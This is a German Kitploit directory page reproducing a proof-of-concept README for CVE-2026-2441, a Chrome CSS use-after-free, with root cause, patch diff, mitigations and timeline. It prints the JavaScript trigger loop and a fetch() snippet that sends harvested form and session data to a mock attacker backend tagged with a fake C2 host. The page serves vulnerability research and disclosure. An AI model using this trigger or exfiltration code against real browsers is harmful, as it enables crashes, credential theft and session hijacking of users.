Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/martinastarone/cve-2026-2441
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPhishingMalware-AnalysePenetrationstestsCommand and ControlLernen & BildungRed TeamingPayload-EntwicklungBinary-Exploitation
5vor 3 MonatenNoch nicht geprüft
GitHub
martinastarone/cve-2026-2441

CVE-2026-2441

Detaillierter Proof-of-Concept und technische Analyse für CVE-2026-2441, eine Chrome CSS Use-After-Free-Sicherheitslücke, die über präparierte HTML-Seiten Remote-Code-Ausführung im sandboxed Renderer ermöglicht.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-2441 — Chrome CSSFontFeatureValuesMap Use-After-Free

CVSS 8.8 (Hoch) | Aktiv in freier Wildbahn ausgenutzt | Renderer-RCE (Sandboxed)

Eine Use-After-Free-Sicherheitslücke in Google Chromes Blink-CSS-Engine, die es einem entfernten Angreifer ermöglicht, über eine präparierte HTML-Seite beliebigen Code innerhalb der Browser-Sandbox auszuführen.

Schwachstellendetails

FeldWert
CVECVE-2026-2441
CVSS8.8 (Hoch)
TypUse-After-Free (CWE-416)
KomponenteBlink CSS — CSSFontFeatureValuesMap
Quelldateithird_party/blink/renderer/core/css/css_font_feature_values_map.cc
Fix-Commit63f3cb4864c64c677cd60c76c8cb49d37d08319c
MelderShaheen Fazim (2026-02-11)
Patch-Datum2026-02-13
In freier WildbahnJa — Google hat aktive Ausnutzung bestätigt

Betroffene Versionen

PlattformVerwundbarBehebung
Windows / macOS (Stabil)< 145.0.7632.75>= 145.0.7632.75
Linux (Stabil)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS (Erweitertes Stable)< 144.0.7559.177>= 144.0.7559.177
Chromium-basierte Browser (Edge, Brave, Opera, Vivaldi)Herstellerhinweis prüfenUnterschiedlich

Ursache

FontFeatureValuesMapIterationSource speicherte einen rohen Zeiger (const FontFeatureAliases* aliases_) auf die interne FontFeatureAliases-HashMap. Wenn die Map während der Iteration durch set() oder delete() mutiert wird, wird die HashMap neu gehasht – neuer Speicher wird allokiert und der alte freigegeben. Der rohe Zeiger wird hängend, und der nächste Aufruf von FetchNextItem() liest aus freigegebenem Speicher.

Angreifbarer Codepfad

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = raw pointer to internal HashMap
  → iterator_ = aliases_->begin()

FetchNextItem()
  → reads iterator_->key  (through aliases_)

If map.set() / map.delete() is called between iterations:
  → HashMap rehashes (new alloc, old freed)
  → aliases_ → dangling pointer
  → iterator_ → invalidated
  → Next FetchNextItem() → USE-AFTER-FREE

Behebung

root@kitploit:~
- const FontFeatureAliases* aliases_;   // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_;    // deep copy → immune to rehash

Der Fix ersetzt den rohen Zeiger durch eine Tiefenkopie der HashMap. Selbst wenn die ursprüngliche Map neu hasht, arbeitet der Iterator auf seiner eigenen Kopie, wodurch der hängende Zeiger verhindert wird.

Proof of Concept

Verwendung

  1. Öffnen Sie poc.html in einer verwundbaren Chrome-Version (< 145.0.7632.75)
  2. Die Seite wird versuchen, den UAF auf drei verschiedene Arten auszulösen

Erwartete Ergebnisse

Chrome-VersionErwartetes Verhalten
< 145.0.7632.75 (ungepatcht)Renderer-Absturz — STATUS_ACCESS_VIOLATION (Windows) oder SIGSEGV (Linux/macOS). Chrome zeigt Fehler „Seite kann nicht geöffnet werden“.
>= 145.0.7632.75 (gepatcht)Kein Absturz — PoC läuft vollständig durch, alle Einträge werden normal gelesen.

Wie der PoC funktioniert

Der PoC ist so organisiert, dass die Ausnutzungskette in einer klaren und reproduzierbaren Reihenfolge gezeigt wird. Der erste Teil erstellt das verwundbare Blink/CSS-Objekt, der zweite Teil löst die Iterator-Invalidierung aus, und der letzte Teil simuliert die Post-Exploitation-Effekte in einer sicheren akademischen Umgebung.

Wichtiger Hinweis: Der UAF-Auslöser wird über echte, vom Browser bereitgestellte CSS/JavaScript-APIs implementiert. Der Heap-Leak und das Exfiltrations-Dashboard sind absichtlich kontrolliert/simuliert, um die Veröffentlichung eines einsatzbereiten Chromium-Exploits zu vermeiden.

Schritt 1: Erstellung der verwundbaren CSS-Struktur

Das Payload definiert zunächst eine CSS-@font-feature-values-Regel:

root@kitploit:~
@font-feature-values VulnFont {
  @styleset {
    a0: 1; a1: 2; a2: 3; a3: 4;
    a4: 5; a5: 6; a6: 7; a7: 8;
  }
}

Diese Regel veranlasst Blink, eine interne CSSFontFeatureValuesMap zu erstellen. In der verwundbaren Implementierung ist die Iteration über diese Map unsicher, da der Iterator einen rohen Zeiger auf den internen FontFeatureAliases-Speicher behält.

Das JavaScript-Payload ruft später die Map aus dem Stylesheet ab:

root@kitploit:~
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;

An diesem Punkt hat die vom Angreifer kontrollierte Seite ein JavaScript-Handle zu einem Browserobjekt, dessen interne C++-Implementierung anfällig für Iterator-Invalidierung ist.

Schritt 2: Verzögerte Ausführung des UAF-Auslösers

Der Auslöser wird nicht sofort ausgeführt. Der PoC wartet 800 ms, bevor die verwundbare Sequenz läuft:

root@kitploit:~
setTimeout(triggerUAF, 800);

Diese Verzögerung dient der Demo-Stabilität. Sie ermöglicht, dass die Seite und das gefälschte Bankverifikationsformular gerendert werden, bevor der Speicherkorruptionsauslöser läuft. In einem echten Drive-by-Szenario könnte derselbe Auslöser auch automatisch gestartet werden, sobald die bösartige Seite geladen wird.

Schritt 3 — Iterator-Erstellung und gleichzeitige Map-Mutation

Die Kern-UAF-Primitive ist die folgende Schleife:

root@kitploit:~
const it = map.entries();
let step = 0;

while (step < 4) {
    const res = it.next();
    if (res.done) break;

    const [key] = res.value;

    map.delete(key);
    map.set("uaf_" + step, [step, step + 1]);

    step++;
}

Die Sicherheitslücke wird durch die Reihenfolge der Operationen ausgelöst:

root@kitploit:~
1. map.entries() erstellt einen Iterator über CSSFontFeatureValuesMap.
2. In der verwundbaren Blink-Implementierung referenziert der Iterator den internen Map-Speicher.
3. it.next() liest den nächsten Eintrag über diesen Iterator.
4. map.delete(key) mutiert dieselbe Map, während der Iterator noch aktiv ist.
5. map.set(...) fügt einen neuen Eintrag ein und kann die zugrundeliegende HashMap zwingen, neu zu hashen.
6. Durch das Neu-Hashen kann der alte Speicher freigegeben oder verschoben werden.
7. Der Iterator kann immer noch auf den alten Speicher verweisen.
8. Der nächste Iterator-Zugriff kann daher zu einem Use-After-Free werden.

Schritt 4 — Kontrollierte Heap-Auslastung anstelle von aggressivem Heap Spray

Die ursprüngliche aggressive Strategie verwendete eine größere Heap-Spray-ähnliche Schleife, die beispielsweise nach jeder Löschung hunderte von Elementen, wie 512 neue Einträge, einfügte. Das erzeugt einen stärkeren Heap-Druck und macht eine Neubelegung/Wiederverwendung wahrscheinlicher.

Für die Live-Demo wurde dies auf nur 4 Mutationsschritte reduziert:

root@kitploit:~
while (step < 4) {
    // Iterator-Lesen + Löschen + Setzen
}

Der Grund ist praktischer und pädagogischer Natur: Das 512-Elemente-Spray ließ den Renderer oft sofort abstürzen. Ein Absturz ist nützlich, um die Verfügbarkeitsauswirkung zu demonstrieren, verhindert jedoch, dass der Rest der Demonstration den simulierten Datendiebstahl und das Angreifer-Dashboard zeigt. Die reduzierte Version demonstriert immer noch die verwundbare Iterator-Invalidierungslogik, während der Browser stabil genug für die Live-Präsentation bleibt.

Schritt 5 — Simulierter Heap-Zeiger-Leak

Ein echter einsatzbereiter UAF-Exploit würde normalerweise eine Speicheroffenlegungsprimitive erfordern, um Heap- oder V8-Zeiger preiszugeben und ASLR zu umgehen. Die Demo implementiert kein echtes beliebiges Speicherlesen. Stattdessen generiert sie eine Heap-ähnliche Adresse aus einem vordefinierten statischen Bereich:

root@kitploit:~
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);

heapLeak = {
  raw:  "0x" + base.toString(16).toUpperCase(),
  base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};

Dieser Wert ist ein simulierter Heap-Leak:

  • 0x55a000000000 ist der feste heap-ähnliche Startbereich, der von der Demo verwendet wird.
  • Math.random() * 0x200000 fügt einen kleinen zufälligen Offset hinzu.
  • base & ~0xfff richtet die Adresse an einer Seitengrenze aus.

Der Zweck ist zu zeigen, wie ein ASLR-Bypass-Leak auf dem Angreifer-Dashboard aussehen würde, ohne einen tatsächlichen Speicheroffenlegungs-Exploit zu implementieren.

Schritt 6 — Exfiltration zum lokalen Angreifer-Backend

Nach dem UAF-Auslöser und dem simulierten Heap-Leak erstellt der PoC ein Payload, das die gesammelten Formulareingaben, die im Browser ansässigen Sitzungsdaten, das DOM-Snippet, den UAF-Status und den simulierten Heap-Leak enthält. Das Payload wird an das lokale Angreifer-Backend gesendet:

root@kitploit:~
await fetch("http://127.0.0.1:7777/collect", {
  method:  "POST",
  headers: {
    "Content-Type": "application/json",
    "X-C2-Origin": "evil-tracker-cdn.xyz"
  },
  body: JSON.stringify(payload)
});

Das lokale Backend empfängt die Daten auf POST /collect, speichert sie im Speicher und leitet sie an das Angreifer-Dashboard über Server-Sent Events (GET /events) weiter. Dies modelliert die Command-and-Control-/Exfiltrationsphase eines echten Angriffs, während es lokal und kontrolliert bleibt.

Auswirkungen

Unmittelbar (Sandbox-begrenzt)

  • Beliebige Codeausführung innerhalb der Renderer-Prozess-Sandbox
  • Informationspreisgabe — V8-Heap-Zeiger leaken (ASLR-Bypass), Rendererspeicherinhalte lesen
  • Anmeldedaten-Diebstahl — document.cookie, localStorage, sessionStorage, Formulareingabewerte lesen
  • Sitzungsübernahme — Sitzungstoken stehlen, über fetch() / WebSocket / sendBeacon() exfiltrieren
  • DOM-Manipulation — Phishing-Formulare einblenden, Seiteninhalt ändern
  • Keylogging — alle Tastatureingaben via addEventListener('keydown') erfassen

Verkettet (mit Sandbox-Escape)

Wenn mit einer separaten Sandbox-Escape-Sicherheitslücke kombiniert:

root@kitploit:~
Renderer-RCE (CVE-2026-2441)
    → Mojo-IPC-Exploit → Browserprozess-RCE
        → Kernel-Exploit → Vollständige Systemkompromittierung
            → Malware-/Ransomware-/Spyware-Installation
            → Dateisystemzugriff, laterale Bewegung, Persistenz

Reale Exploit-Ketten mit ähnlichen Browser-UAFs:

  • NSO Pegasus — WebKit UAF + Sandbox-Escape + Kernel-Exploit
  • Intellexa Predator — Chrome UAF + Android-Kernel-Exploit
  • APT-28 (Fancy Bear) — Chrome-0-Day + Windows-LPE-Kette

Angriffsvektor

Diese Schwachstelle ist über einen Drive-by-Download ausnutzbar – es ist keine Benutzerinteraktion über den Besuch einer bösartigen Seite hinaus erforderlich:

  • Malvertising — bösartige Anzeigen, die über legitime Werbenetzwerke ausgeliefert werden
  • Watering Hole — Kompromittierung einer häufig besuchten Seite des Ziels
  • Spear-Phishing — Versenden eines präparierten Links per E-Mail oder Nachricht

Gegenmaßnahmen

  1. Chrome aktualisieren auf >= 145.0.7632.75 (Windows/macOS) oder >= 144.0.7559.75 (Linux)
  2. Chromium-basierte Browser aktualisieren (Edge, Brave, Opera, Vivaldi), sobald Hersteller-Patches verfügbar sind
  3. Site Isolation überprüfen ob aktiviert (chrome://flags/#site-isolation-trial-opt-out)
  4. Endpunkte überwachen auf Chrome-Versionen unterhalb der behobenen Builds

Zeitstrahl

DatumEreignis
2026-02-11Schwachstelle von Shaheen Fazim gemeldet
2026-02-13Google veröffentlicht Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux)
2026-02-13Google bestätigt Ausnutzung in freier Wildbahn
2026-02-16Vivaldi und Opera liefern Patches aus

Verweise

  • Google Chrome Releases Blog
  • NVD — CVE-2026-2441
  • The Hacker News — Chrome Zero-Day Under Active Attack
  • Chromium Issue Tracker (eingeschränkt)

Unterstützung

Wenn Sie diese Forschung nützlich finden, spendieren Sie mir doch einen Kaffee:

Buy Me A Coffee

Haftungsausschluss

Dieser Proof of Concept wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt. Die Verwendung dieses PoC gegen Systeme ohne ausdrückliche Genehmigung ist illegal und unethisch. Der Autor übernimmt keine Verantwortung für Missbrauch.

Lizenz

MIT

Tool herunterladen